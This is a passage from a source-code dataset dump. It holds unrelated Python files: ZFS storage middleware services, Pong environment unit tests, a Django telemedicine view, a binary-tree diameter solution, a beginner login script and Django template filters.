CallError(f'Failed to find vdev for {label}', errno.EINVAL)\n target.detach()\n except libzfs.ZFSException as e:\n raise CallError(str(e), e.code)\n\n @accepts(Str('pool'), Str('label'), Str('dev'))\n def replace(self, name, label, dev):\n \"\"\"\n Replace device `label` with `dev` in pool `name`.\n \"\"\"\n try:\n zfs = libzfs.ZFS()\n pool = zfs.get(name)\n target = find_vdev(pool, label)\n if target is None:\n raise CallError(f'Failed to find vdev for {label}', errno.EINVAL)\n\n newvdev = libzfs.ZFSVdev(zfs, 'disk')\n newvdev.path = f'/dev/{dev}'\n target.replace(newvdev)\n except libzfs.ZFSException as e:\n raise CallError(str(e), e.code)\n\n @accepts(Str('name'))\n @job(lock=lambda i: i[0])\n def scrub(self, job, name):\n \"\"\"\n Start a scrub on pool `name`.\n \"\"\"\n try:\n zfs = libzfs.ZFS()\n pool = zfs.get(name)\n pool.start_scrub()\n except libzfs.ZFSException as e:\n raise CallError(str(e), e.code)\n\n def watch():\n while True:\n pool = zfs.get(name)\n scrub = pool.scrub\n if scrub.function != libzfs.ScanFunction.SCRUB:\n break\n\n if scrub.state == libzfs.ScanState.FINISHED:\n job.set_progress(100, 'Scrub finished')\n break\n\n if scrub.state == libzfs.ScanState.CANCELED:\n break\n\n if scrub.state == libzfs.ScanState.SCANNING:\n job.set_progress(scrub.percentage, 'Scrubbing')\n time.sleep(1)\n\n t = threading.Thread(target=watch, daemon=True)\n t.start()\n t.join()\n\n\nclass ZFSDatasetService(CRUDService):\n\n class Config:\n namespace = 'zfs.dataset'\n private = True\n thread_pool = SINGLE_THREAD_POOL\n\n @filterable\n def query(self, filters, options):\n zfs = libzfs.ZFS()\n # Handle `id` filter specially to avoiding getting all datasets\n if filters and len(filters) == 1 and list(filters[0][:2]) == ['id', '=']:\n try:\n datasets = [zfs.get_dataset(filters[0][2]).__getstate__()]\n except libzfs.ZFSException:\n datasets = []\n else:\n datasets = [i.__getstate__() for i in zfs.datasets]\n return filter_list(datasets, filters, options)\n\n @accepts(Dict(\n 'dataset_create',\n Str('name', required=True),\n Str('type', enum=['FILESYSTEM', 'VOLUME'], default='FILESYSTEM'),\n Dict(\n 'properties',\n Bool('sparse'),\n additional_attrs=True,\n ),\n ))\n def do_create(self, data):\n \"\"\"\n Creates a ZFS dataset.\n \"\"\"\n\n verrors = ValidationErrors()\n\n if '/' not in data['name']:\n verrors.add('name', 'You need a full name, e.g. pool/newdataset')\n\n if verrors:\n raise verrors\n\n properties = data.get('properties') or {}\n sparse = properties.pop('sparse', False)\n params = {}\n\n for k, v in data['properties'].items():\n params[k] = v\n\n try:\n zfs = libzfs.ZFS()\n pool = zfs.get(data['name'].split('/')[0])\n pool.create(data['name'], params, fstype=getattr(libzfs.DatasetType, data['type']), sparse_vol=sparse)\n except libzfs.ZFSException as e:\n self.logger.error('Failed to create dataset', exc_info=True)\n raise CallError(f'Failed to create dataset: {e}')\n\n @accepts(\n Str('id'),\n Dict(\n 'dataset_update',\n Dict(\n 'properties',\n additional_attrs=True,\n ),\n ),\n )\n def do_update(self, id, data):\n try:\n zfs = libzfs.ZFS()\n dataset = zfs.get_dataset(id)\n\n if 'properties' in data:\n for k, v in data['properties'].items():\n\n # If prop already exists we just update it,\n # otherwise create a user property\n prop = dataset.properties.get(k)\n if prop:\n if v.get('source') == 'INHERIT':\n prop.inherit()\n elif 'value' in v and prop.value != v['value']:\n prop.value = v['value']\n elif 'parsed' in v and prop.parsed != v['parsed']:\n prop.parsed = v['parsed']\n else:\n if 'value' not in v:\n raise ValidationError('properties', f'properties.{k} needs a \"value\" attribute')\n if ':' not in k:\n raise ValidationError('properties', f'User property needs a colon (:) in its name`')\n prop = libzfs.ZFSUserProperty(v['value'])\n dataset.properties[k] = prop\n\n except libzfs.ZFSException as e:\n self.logger.error('Failed to update dataset', exc_info=True)\n raise CallError(f'Failed to update dataset: {e}')\n\n def do_delete(self, id):\n try:\n zfs = libzfs.ZFS()\n ds = zfs.get_dataset(id)\n ds.delete()\n except libzfs.ZFSException as e:\n self.logger.error('Failed to delete dataset', exc_info=True)\n raise CallError(f'Failed to delete dataset: {e}')\n\n def mount(self, name):\n try:\n dataset = libzfs.ZFS().get_dataset(name)\n dataset.mount()\n except libzfs.ZFSException as e:\n self.logger.error('Failed to mount dataset', exc_info=True)\n raise CallError(f'Failed to mount dataset: {e}')\n\n def promote(self, name):\n try:\n dataset = libzfs.ZFS().get_dataset(name)\n dataset.promote()\n except libzfs.ZFSException as e:\n self.logger.error('Failed to promote dataset', exc_info=True)\n raise CallError(f'Failed to promote dataset: {e}')\n\n\nclass ZFSSnapshot(CRUDService):\n\n class Config:\n namespace = 'zfs.snapshot'\n thread_pool = SINGLE_THREAD_POOL\n\n @filterable\n def query(self, filters, options):\n zfs = libzfs.ZFS()\n # FIXME: awful performance with hundreds/thousands of snapshots\n return filter_list([i.__getstate__() for i in list(zfs.snapshots)], filters, options)\n\n @accepts(Dict(\n 'snapshot_create',\n Str('dataset'),\n Str('name'),\n Bool('recursive'),\n Int('vmsnaps_count'),\n Dict('properties', additional_attrs=True)\n ))\n async def do_create(self, data):\n \"\"\"\n Take a snapshot from a given dataset.\n\n Returns:\n bool: True if succeed otherwise False.\n \"\"\"\n zfs = libzfs.ZFS()\n\n dataset = data.get('dataset', '')\n name = data.get('name', '')\n recursive = data.get('recursive', False)\n vmsnaps_count = data.get('vmsnaps_count', 0)\n properties = data.get('properties', None)\n\n if not dataset or not name:\n return False\n\n try:\n ds = zfs.get_dataset(dataset)\n except libzfs.ZFSException as err:\n self.logger.error(\"{0}\".format(err))\n return False\n\n try:\n ds.snapshot(f'{dataset}@{name}', recursive=recursive, fsopts=properties)\n\n if vmsnaps_count > 0:\n ds.properties['freenas:vmsynced'] = libzfs.ZFSUserProperty('Y')\n\n self.logger.info(f\"Snapshot taken: {dataset}@{name}\")\n return True\n except libzfs.ZFSException as err:\n self.logger.error(f\"{err}\")\n return False\n\n @accepts(Dict(\n 'snapshot_remove',\n Str('dataset', required=True),\n Str('name', required=True),\n Bool('defer_delete')\n ))\n async def remove(self, data):\n \"\"\"\n Remove a snapshot from a given dataset.\n\n Returns:\n bool: True if succeed otherwise False.\n \"\"\"\n zfs = libzfs.ZFS()\n snapshot_name = data['dataset'] + '@' + data['name']\n\n try:\n snap = zfs.get_snapshot(snapshot_name)\n snap.delete(True if data.get('defer_delete') else False)\n\n except libzfs.ZFSException as err:\n self.logger.error(\"{0}\".format(err))\n return False\n else:\n self.logger.info(f\"Destroyed snapshot: {snapshot_name}\")\n\n return True\n\n @accepts(Dict(\n 'snapshot_clone',\n Str('snapshot'),\n Str('dataset_dst'),\n ))\n async def clone(self, data):\n \"\"\"\n Clone a given snapshot to a new dataset.\n\n Returns:\n bool: True if succeed otherwise False.\n \"\"\"\n zfs = libzfs.ZFS()\n\n snapshot = data.get('snapshot', '')\n dataset_dst = data.get('dataset_dst', '')\n\n if not snapshot or not dataset_dst:\n return False\n\n try:\n snp = zfs.get_snapshot(snapshot)\n except libzfs.ZFSException as err:\n self.logger.error(\"{0}\".format(err))\n return False\n\n try:\n snp.clone(dataset_dst)\n self.logger.info(\"Cloned snapshot {0} to dataset {1}\".format(snapshot, dataset_dst))\n return True\n except libzfs.ZFSException as err:\n self.logger.error(\"{0}\".format(err))\n return False\n\n\nclass ZFSQuoteService(Service):\n\n class Config:\n namespace = 'zfs.quota'\n private = True\n thread_pool = SINGLE_THREAD_POOL\n\n def __init__(self, middleware):\n super().__init__(middleware)\n\n self.excesses = None\n\n @periodic(60)\n async def notify_quota_excess(self):\n if self.excesses is None:\n self.excesses = {\n excess[\"dataset_name\"]: excess\n for excess in await self.middleware.call('datastore.query', 'storage.quotaexcess')\n }\n\n excesses = await self.__get_quota_excesses()\n\n # Remove gone excesses\n self.excesses = dict(\n filter(\n lambda item: any(excess[\"dataset_name\"] == item[0] for excess in excesses),\n self.excesses.items()\n )\n )\n\n # Insert/update present excesses\n for excess in excesses:\n notify = False\n existing_excess = self.excesses.get(excess[\"dataset_name\"])\n if existing_excess is None:\n notify = True\n else:\n if existing_excess[\"level\"] < excess[\"level\"]:\n notify = True\n\n self.excesses[excess[\"dataset_name\"]] = excess\n\n if notify:\n try:\n bsduser = await self.middleware.call(\n 'datastore.query',\n 'account.bsdusers',\n [('bsdusr_uid', '=', excess['uid'])],\n {'get': True},\n )\n except IndexError:\n self.logger.warning('Unable to query bsduser with uid %r', excess['uid'])\n continue\n\n hostname = socket.gethostname()\n\n try:\n # FIXME: Translation\n human_quota_type = excess[\"quota_type\"][0].upper() + excess[\"quota_type\"][1:]\n await (await self.middleware.call('mail.send', {\n 'to': [bsduser['bsdusr_email']],\n 'subject': '{}: {} exceed on dataset {}'.format(hostname, human_quota_type,\n excess[\"dataset_name\"]),\n 'text': textwrap.dedent('''\\\n %(quota_type)s exceed on dataset %(dataset_name)s.\n Used %(percent_used).2f%% (%(used)s of %(quota_value)s)\n ''') % {\n \"quota_type\": human_quota_type,\n \"dataset_name\": excess[\"dataset_name\"],\n \"percent_used\": excess[\"percent_used\"],\n \"used\": humanfriendly.format_size(excess[\"used\"]),\n \"quota_value\": humanfriendly.format_size(excess[\"quota_value\"]),\n },\n })).wait()\n except Exception:\n self.logger.warning('Failed to send email about quota excess', exc_info=True)\n\n async def __get_quota_excesses(self):\n excesses = []\n zfs = libzfs.ZFS()\n for properties in await self.middleware.run_in_thread_pool(SINGLE_THREAD_POOL, lambda: [i.properties for i in zfs.datasets]):\n quota = await self.__get_quota_excess(properties, \"quota\", \"quota\", \"used\")\n if quota:\n excesses.append(quota)\n\n refquota = await self.__get_quota_excess(properties, \"refquota\", \"refquota\", \"usedbydataset\")\n if refquota:\n excesses.append(refquota)\n\n return excesses\n\n async def __get_quota_excess(self, properties, quota_type, quota_property, used_property):\n try:\n quota_value = int(properties[quota_property].rawvalue)\n except (AttributeError, KeyError, ValueError):\n return None\n\n if quota_value == 0:\n return\n\n used = int(properties[used_property].rawvalue)\n try:\n percent_used = 100 * used / quota_value\n except ZeroDivisionError:\n percent_used = 100\n\n if percent_used >= 95:\n level = 2\n elif percent_used >= 80:\n level = 1\n else:\n return None\n\n mountpoint = None\n if properties[\"mounted\"].value == \"yes\":\n if properties[\"mountpoint\"].value == \"legacy\":\n for m in await self.middleware.run_in_thread(getmntinfo):\n if m.source == properties[\"name\"].value:\n mountpoint = m.dest\n break\n else:\n mountpoint = properties[\"mountpoint\"].value\n if mountpoint is None:\n self.logger.debug(\"Unable to get mountpoint for dataset %r, assuming owner = root\",\n properties[\"name\"].value)\n uid = 0\n else:\n try:\n stat_info = await self.middleware.run_in_thread(os.stat, mountpoint)\n except Exception:\n self.logger.warning(\"Unable to stat mountpoint %r, assuming owner = root\", mountpoint)\n uid = 0\n else:\n uid = stat_info.st_uid\n\n return {\n \"dataset_name\": properties[\"name\"].value,\n \"quota_type\": quota_type,\n \"quota_value\": quota_value,\n \"level\": level,\n \"used\": used,\n \"percent_used\": percent_used,\n \"uid\": uid,\n }\n\n async def terminate(self):\n await self.middleware.call('datastore.sql', 'DELETE FROM storage_quotaexcess')\n\n if self.excesses is not None:\n for excess in self.excesses.values():\n await self.middleware.call('datastore.insert', 'storage.quotaexcess', excess)\n\n\nclass ScanWatch(object):\n\n def __init__(self, middleware, pool):\n self.middleware = middleware\n self.pool = pool\n self._cancel = threading.Event()\n\n def run(self):\n\n while not self._cancel.wait(2):\n scan = SINGLE_THREAD_POOL.submit(lambda: libzfs.ZFS().get(self.pool).scrub.__getstate__()).result()\n if scan['state'] == 'SCANNING':\n self.send_scan(scan)\n elif scan['state'] == 'FINISHED':\n # Since this thread finishes on scrub/resilver end the event is sent\n # on devd event arrival\n break\n\n def send_scan(self, scan=None):\n if not scan:\n scan = SINGLE_THREAD_POOL.submit(lambda: libzfs.ZFS().get(self.pool).scrub.__getstate__()).result()\n self.middleware.send_event('zfs.pool.scan', 'CHANGED', fields={\n 'scan': scan,\n 'name': self.pool,\n })\n\n def cancel(self):\n self._cancel.set()\n\n\nasync def _handle_zfs_events(middleware, event_type, args):\n data = args['data']\n if data.get('type') in ('misc.fs.zfs.resilver_start', 'misc.fs.zfs.scrub_start'):\n pool = data.get('pool_name')\n if not pool:\n return\n if pool in SCAN_THREADS:\n return\n scanwatch = ScanWatch(middleware, pool)\n SCAN_THREADS[pool] = scanwatch\n start_daemon_thread(target=scanwatch.run)\n\n elif data.get('type') in (\n 'misc.fs.zfs.resilver_finish', 'misc.fs.zfs.scrub_finish', 'misc.fs.zfs.scrub_abort',\n ):\n pool = data.get('pool_name')\n if not pool:\n return\n scanwatch = SCAN_THREADS.pop(pool, None)\n if not scanwatch:\n return\n await middleware.run_in_thread(scanwatch.cancel)\n\n # Send the last event with SCRUB/RESILVER as FINISHED\n await middleware.run_in_thread(scanwatch.send_scan)\n\n if data.get('type') == 'misc.fs.zfs.scrub_finish':\n await middleware.call('mail.send', {\n 'subject': f'{socket.gethostname()}: scrub finished',\n 'text': f\"scrub of pool '{data.get('pool_name')}' finished\",\n })\n\n\ndef setup(middleware):\n middleware.event_subscribe('devd.zfs', _handle_zfs_events)\n","sub_path":"src/middlewared/middlewared/plugins/zfs.py","file_name":"zfs.py","file_ext":"py","file_size_in_byte":21940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"530249685","text":"age = 15\n\nif (age == 18):\n print(\"Allow to access\")\nelse:\n print(\"None allow\")\n\nuser = \"admin\"\npwd = \"1234\"\n\nif(user == \"admin\" and pwd == \"1234\"):\n print(\"login success\")\nelse:\n print(\"login faill!\")\n","sub_path":"ifcondition.py","file_name":"ifcondition.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"193561481","text":"import glob\nimport math\nimport os\nimport shutil\nimport unittest\n\nfrom gym_dynamic_pong.envs import DynamicPongEnv\nfrom gym_dynamic_pong.utils import Line, Point, Circle\nfrom gym_dynamic_pong.utils.sprites import Ball\n\n\nclass TestLine(unittest.TestCase):\n def test_angle_between_up_line_and_ray_from_bottom_left_is_positive(self):\n l1 = Line((0, -1), (0, 1))\n l2 = Line((-1, -1), (1, 1))\n angle = l1.angle_to_normal(l2)\n self.assertGreater(angle, 0)\n\n def test_angle_between_up_line_and_ray_from_top_left_is_negative(self):\n l1 = Line((0, -1), (0, 1))\n l2 = Line((-1, 1), (1, -1))\n angle = l1.angle_to_normal(l2)\n self.assertLess(angle, 0)\n\n def test_angle_between_down_line_and_ray_from_bottom_left_is_negative(self):\n l1 = Line((0, 1), (0, -1))\n l2 = Line((-1, -1), (1, 1))\n angle = l1.angle_to_normal(l2)\n self.assertLess(angle, 0)\n\n def test_angle_between_down_line_and_ray_from_top_left_is_positive(self):\n l1 = Line((0, 1), (0, -1))\n l2 = Line((-1, 1), (1, -1))\n angle = l1.angle_to_normal(l2)\n self.assertGreater(angle, 0)\n\n def test_10_10_20_20_and_10_20_20_10_intersect_at_15_15(self):\n line1 = Line((10, 10), (20, 20))\n line2 = Line((10, 20), (20, 10))\n intersection = line1.get_intersection(line2)\n self.assertEqual(Point(15., 15.), intersection)\n\n def test_same_lines_do_not_intersect(self):\n line1 = Line((10, 10), (20, 20))\n line2 = line1\n intersection = line1.get_intersection(line2)\n self.assertEqual(None, intersection)\n\n def test_non_parallel_non_intersecting_segments_do_not_intersect_1(self):\n line1 = Line((10, 10), (20, 20))\n line2 = Line((10, 20), (14, 16))\n intersection = line1.get_intersection(line2)\n self.assertEqual(None, intersection)\n\n def test_non_parallel_non_intersecting_segments_do_not_intersect_2(self):\n line1 = Line((10, 10), (20, 20))\n line2 = Line((1, 5), (20, 5))\n intersection = line1.get_intersection(line2)\n self.assertEqual(None, intersection)\n\n def test_close_non_parallel_paddles_do_not_intersect(self):\n line1 = Line((10, 10), (20, 20))\n line2 = Line((10.1, 11), (10.5, 11.1))\n intersection = line1.get_intersection(line2)\n self.assertEqual(None, intersection)\n\n def test_vertical_line(self):\n line1 = Line((10., 10.), (10., 20.))\n line2 = Line((5., 15.), (15., 15.))\n intersection = line1.get_intersection(line2)\n self.assertEqual(Point(10., 15.), intersection)\n\n def test_top_of_screen_trajectory(self):\n trajectory = Line((349.824288866177, 298.7636286943965), (351.9456092097367, 300.8849490379562))\n border = Line((0, 300), (400, 300))\n intersection = trajectory.get_intersection(border)\n dx = (300. - trajectory.start.y) / (\n (trajectory.end.y - trajectory.start.y) / (trajectory.end.x - trajectory.start.x))\n self.assertEqual(Point(dx + trajectory.start.x, 300.), intersection)\n\n\nclass TestPoint(unittest.TestCase):\n def test_point_iter(self):\n point1 = Point(0, 1)\n v = [p for p in point1]\n self.assertEqual([0, 1], v)\n\n def test_point_tuple_conversion(self):\n point1 = Point(0, 1)\n self.assertEqual((0, 1), tuple(point1))\n\n\nclass TestRendering(unittest.TestCase):\n def setUp(self) -> None:\n self.width = 160\n self.height = 160\n self.default_speed = 2\n self.snell_speed = 2\n self.paddle_speed = 3\n self.paddle_height = 30\n pong_env = DynamicPongEnv(max_score=5, width=self.width,\n height=self.height,\n default_speed=self.default_speed,\n snell_speed=self.snell_speed,\n our_paddle_speed=self.paddle_speed,\n their_paddle_speed=self.paddle_speed,\n our_paddle_height=self.paddle_height,\n their_paddle_height=self.paddle_height, )\n self.env = pong_env\n self.env.step(0)\n\n self.save_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), 'artifacts'))\n\n def test_png_render_creates_directory_if_it_doesnt_exist(self):\n self.env.render('png', self.save_dir)\n self.assertTrue(os.path.exists(self.save_dir))\n\n def test_png_render_creates_png_file(self):\n self.env.render('png', self.save_dir)\n match = glob.glob(os.path.join(self.save_dir, \"**\", \"*.png\"), recursive=True)\n self.assertGreater(len(match), 0)\n\n def tearDown(self) -> None:\n shutil.rmtree(self.save_dir)\n\n\nclass TestBall(unittest.TestCase):\n def setUp(self) -> None:\n self.ball = Ball(2, math.pi / 6, visibility='machine')\n\n def test_unit_velocity_sets_angle_to_0_for_1_0(self):\n self.ball.unit_velocity = Point(1., 0.)\n self.assertAlmostEqual(0, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_30_for_sqrt3_1(self):\n self.ball.unit_velocity = Point(math.sqrt(3), 1)\n self.assertAlmostEqual(math.pi / 6, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_45_for_1_1(self):\n self.ball.unit_velocity = Point(1., 1.)\n self.assertAlmostEqual(math.pi / 4, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_135_for_n1_1(self):\n self.ball.unit_velocity = Point(-1., 1.)\n self.assertAlmostEqual(math.pi * 3 / 4, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_150_for_n_sqrt3_1(self):\n self.ball.unit_velocity = Point(-math.sqrt(3), 1)\n self.assertAlmostEqual(math.pi * 5 / 6, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_180_for_n1_0(self):\n self.ball.unit_velocity = Point(-1., 0.)\n self.assertAlmostEqual(math.pi, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_225_for_n1_n1(self):\n self.ball.unit_velocity = Point(-1., -1.)\n self.assertAlmostEqual(math.pi * 5 / 4, self.ball.angle)\n\n def test_unit_velocity_sets_angle_to_315_for_1_n1(self):\n self.ball.unit_velocity = Point(1., -1.)\n self.assertAlmostEqual(math.pi * 7 / 4, self.ball.angle)\n\n\nclass TestCircle(unittest.TestCase):\n def test_circle_at_2_2_with_radius_sqrt2_intersects_45deg_at_1_1(self):\n line = Line(Point(0, 0), Point(10, 10))\n circle = Circle(Point(2, 2), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertAlmostEqual(result.x, 1)\n self.assertAlmostEqual(result.y, 1)\n\n def test_circle_at_2_2_with_radius_sqrt2_intersects_225deg_at_3_3(self):\n line = Line(Point(10, 10), Point(0, 0))\n circle = Circle(Point(2, 2), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertAlmostEqual(result.x, 3)\n self.assertAlmostEqual(result.y, 3)\n\n def test_circle_at_0_0_with_radius_sqrt2_intersects_line_from_n3_n2_to_3_1_at_n1_n1(self):\n line = Line(Point(-3, -2), Point(3, 1))\n circle = Circle(Point(0, 0), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertAlmostEqual(result.x, -1)\n self.assertAlmostEqual(result.y, -1)\n\n def test_circle_at_0_0_with_radius_sqrt2_intersects_line_from_3_1_to_n3_n2_at_1p4_0p2(self):\n line = Line(Point(3, 1), Point(-3, -2))\n circle = Circle(Point(0, 0), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertAlmostEqual(result.x, 1.4)\n self.assertAlmostEqual(result.y, 0.2)\n\n def test_circle_at_0_0_with_radius_sqrt2_intersects_line_from_0_n0p5_to_3_1_at_1p4_0p2(self):\n line = Line(Point(0, -0.5), Point(3, 1))\n circle = Circle(Point(0, 0), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertAlmostEqual(result.x, 1.4)\n self.assertAlmostEqual(result.y, 0.2)\n\n def test_circle_at_0_0_with_radius_sqrt2_intersects_line_from_0_n0p5_to_n3_n2_at_n1_n1(self):\n line = Line(Point(0, -0.5), Point(-3, -2))\n circle = Circle(Point(0, 0), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertAlmostEqual(result.x, -1)\n self.assertAlmostEqual(result.y, -1)\n\n def test_circle_at_0_0_with_radius_1_does_not_intersect_line_from_0_0_to_0p1_0p1(self):\n line = Line(Point(0, 0), Point(0.1, 0.1))\n circle = Circle(Point(0, 0), math.sqrt(2))\n result = circle._get_intersection_point(line)\n self.assertIsNone(result)\n","sub_path":"gym-dynamic-pong/test/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":8638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"311071329","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Post\nfrom .models import patients\n\n# Dummy data\nposts = [\n {\n 'name': 'John Doe',\n 'age': '19',\n 'sex': 'Male',\n 'last_visit': 'January 1, 2021'\n },\n {\n 'name': 'Jane Doe',\n 'age': '20',\n 'sex': 'Female',\n 'last_visit': 'April 1, 2021'\n }\n]\n\n\n# Handles traffic to our homepage\ndef home(request):\n if request.method == 'POST':\n ssn = request.POST['ssn']\n lastname = request.POST['lastname']\n firstname = request.POST['firstname']\n middlename = request.POST['middlename']\n dob = request.POST['dob']\n gender = request.POST['gender']\n height = request.POST['height']\n weight = request.POST['weight']\n address1 = request.POST['address1']\n city = request.POST['city']\n zipcode = request.POST['zipcode']\n state = request.POST['state']\n\n obj = patients()\n obj.ssn = ssn\n obj.lastname = lastname\n obj.firstname = firstname\n obj.middlename = middlename\n obj.dob = dob\n obj.gender = gender\n obj.height = height\n obj.weight = weight\n obj.address1 = address1\n obj.city = city\n obj.zipcode = zipcode\n obj.state = state\n obj.save()\n context = {\n\n }\n return render(request, 'telemedicine/home.html', context)\n\n\ndef about(request):\n context = {\n 'posts': posts\n }\n return render(request, 'telemedicine/about.html', {'title': 'About'})\n\n\ndef patientlist(request):\n context = {\n 'patients': patients.objects.all() # Queries data from our database\n }\n return render(request, 'telemedicine/patientlist.html', context)\n\n\ndef contact(request):\n return render(request, 'telemedicine/contact.html')\n\n\n\n","sub_path":"telemedicine/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"417839923","text":"class Solution(object):\n def diameterOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n self.ans = 0\n self.dfs(root)\n return self.ans\n def dfs(self, node):\n if not node:\n return 0\n left = self.dfs(node.left)\n right = self.dfs(node.right)\n self.ans =max(self.ans,right+left)\n return max(left+1,right+1)\n","sub_path":"diameterofbinarytree.py","file_name":"diameterofbinarytree.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"594338505","text":"import inspect\r\nimport re\r\nimport time\r\nimport collections\r\nfrom os import path\r\nfrom django import template\r\nfrom django.db.models import Manager\r\nfrom django.template.loader import render_to_string\r\nfrom django.utils.html import escape\r\nfrom django.utils.safestring import mark_safe\r\nfrom django.utils.translation import ugettext as _\r\nfrom collections import OrderedDict\r\nfrom django_lazifier.utils.builtin_types.list import Lst\r\nfrom django_lazifier.utils.builtin_types.num import Num\r\nfrom django_lazifier.utils.builtin_types.obj import Obj\r\nfrom django_lazifier.utils.builtin_types.str import Str\r\nfrom django_lazifier.utils.django.model import Mdl\r\nfrom django_lazifier.utils.json.json import Json\r\nfrom django_lazifier.utils.templatetags.helper.filter_parser import FilterParser\r\n\r\nregister = template.Library()\r\n\r\n\r\n@register.filter\r\ndef index(obj, attr_name):\r\n \"\"\"\r\n Return the index of the list/dict\r\n\r\n :param obj:\r\n :param attr_name: supports dot notation (eg. person|index:\"contact.phone\" where contact is attribute of person)\r\n :return:\r\n \"\"\"\r\n return get_attr(obj, attr_name)\r\n\r\n\r\n@register.filter\r\ndef get_attr(obj, attr_name):\r\n \"\"\"\r\n Return the index of the list/dict\r\n\r\n :param obj:\r\n :param attr_name: supports the dot notation\r\n (eg. person|index:\"contact.phone\" where contact is attribute of person)\r\n :return:\r\n \"\"\"\r\n try:\r\n result = Obj.getattr(obj, attr_name, None)\r\n return result\r\n except:\r\n return None\r\n\r\n\r\n@register.filter\r\ndef get_display(obj, attr_name):\r\n try:\r\n display_name = 'get_%s_display' % attr_name\r\n result = Obj.getattr(obj, display_name, None)\r\n\r\n if result is None:\r\n result = Obj.getattr(obj, attr_name, None)\r\n\r\n return result\r\n except:\r\n return None\r\n\r\n\r\n@register.filter\r\ndef apply_filter(obj, filter_list):\r\n \"\"\"\r\n Run a list of filter based on the specified string.\r\n\r\n my_format_var = \"|date:'Y/m/d'\"\r\n eg. my_date|apply_filter:my_format_var\r\n\r\n :param obj:\r\n :param filter_list:\r\n :return:\r\n \"\"\"\r\n if obj is None or filter_list is None or len(filter_list) == 0:\r\n return obj\r\n\r\n filters = FilterParser(filter_list)\r\n\r\n if filters.filter_list:\r\n f = filters.pop_first()\r\n new_obj = f.filter(obj, register)\r\n\r\n if filters.filter_list:\r\n return apply_filter(new_obj, filters.__str__())\r\n else:\r\n return new_obj\r\n\r\n return obj\r\n\r\n\r\n@register.filter\r\ndef negate(obj):\r\n \"\"\"\r\n Toggle boolean value or reverse the sign of an integer.\r\n\r\n :param obj:\r\n :return:\r\n \"\"\"\r\n try:\r\n if isinstance(obj, bool):\r\n return not obj\r\n\r\n return -1 * int(obj)\r\n except:\r\n return obj\r\n\r\n\r\n@register.filter(is_safe=True)\r\ndef jsonify(obj):\r\n \"\"\"\r\n Convert the specified obj into json string.\r\n\r\n :param obj:\r\n :return:\r\n \"\"\"\r\n return mark_safe(Json.to_json(obj))\r\n\r\n\r\n@register.filter(is_safe=True)\r\ndef base64_encode(obj):\r\n \"\"\"\r\n Base64 encode the specified string.\r\n :param obj:\r\n :return:\r\n \"\"\"\r\n return mark_safe(Str.base64_encode(obj))\r\n\r\n\r\n@register.filter(is_safe=True)\r\ndef base64_decode(obj):\r\n \"\"\"\r\n Decode using base64\r\n :param obj:\r\n :return:\r\n \"\"\"\r\n return mark_safe(Str.base64_decode(obj))\r\n\r\n\r\n@register.filter(is_safe=True)\r\ndef trans(the_str):\r\n \"\"\"\r\n Translate the specified string.\r\n :param the_str:\r\n :return:\r\n \"\"\"\r\n return mark_safe(_(the_str))\r\n\r\n\r\n@register.filter(is_safe=True)\r\ndef basename(file_path):\r\n \"\"\"\r\n Return the name of the file.\r\n :param file_path:\r\n :return:\r\n \"\"\"\r\n return mark_safe(path.basename(file_path))\r\n\r\n\r\n@register.filter(is_safe=True)\r\ndef display_error(errors):\r\n if not errors:\r\n return mark_safe('')\r\n\r\n if isinstance(errors, list):\r\n if len(errors) == 1:\r\n errors = errors.pop()\r\n else:\r\n ul = '
    '\r\n for err in errors:\r\n ul += '
  • {error}
  • '.format(error=err)\r\n ul += '
'\r\n errors = ul\r\n\r\n return mark_safe('
{errors}
'.format(errors=errors))\r\n\r\n\r\n@register.filter\r\ndef epoch(value):\r\n \"\"\"\r\n Convert datetime to unix epoch time.\r\n Alternatively you can you this {{ my_date|date:\"U\" }}\r\n\r\n :param value: datetime instance\r\n :return: int\r\n \"\"\"\r\n try:\r\n return int(time.mktime(value.timetuple()) * 1000)\r\n except AttributeError:\r\n return ''\r\n\r\n\r\n@register.filter\r\ndef join_by(the_list, options):\r\n \"\"\"\r\n Join the list.\r\n Usage: facilities|join_by:\" ,zone.name\" => facility1 facility2\r\n facilities|join_by:\", ,zone.name\" => facility1, facility2\r\n\r\n :param the_list:\r\n :param options: comma separated \"{separator}, {attribute.inner_attribute}\".\r\n :return: string\r\n \"\"\"\r\n if not the_list:\r\n return ''\r\n assert options, 'join_by: Arguments cannot be emptied.'\r\n\r\n if isinstance(the_list, Manager):\r\n the_list = the_list.all()\r\n elif callable(the_list):\r\n the_list = the_list.__call__()\r\n\r\n separator, attr = options.rsplit(',', 1)\r\n attr = attr.strip()\r\n return separator.join([Obj.getattr(itm, attr, '').__str__() for itm in the_list])\r\n\r\n\r\n@register.filter\r\ndef join_str(the_list, none_value='-'):\r\n \"\"\"\r\n :return: string\r\n \"\"\"\r\n if not the_list:\r\n return ''\r\n\r\n result = []\r\n for item in the_list:\r\n if not item:\r\n result.append(none_value)\r\n elif type(item) is str:\r\n result.append(item)\r\n else:\r\n result.append(item.__str__())\r\n return ', 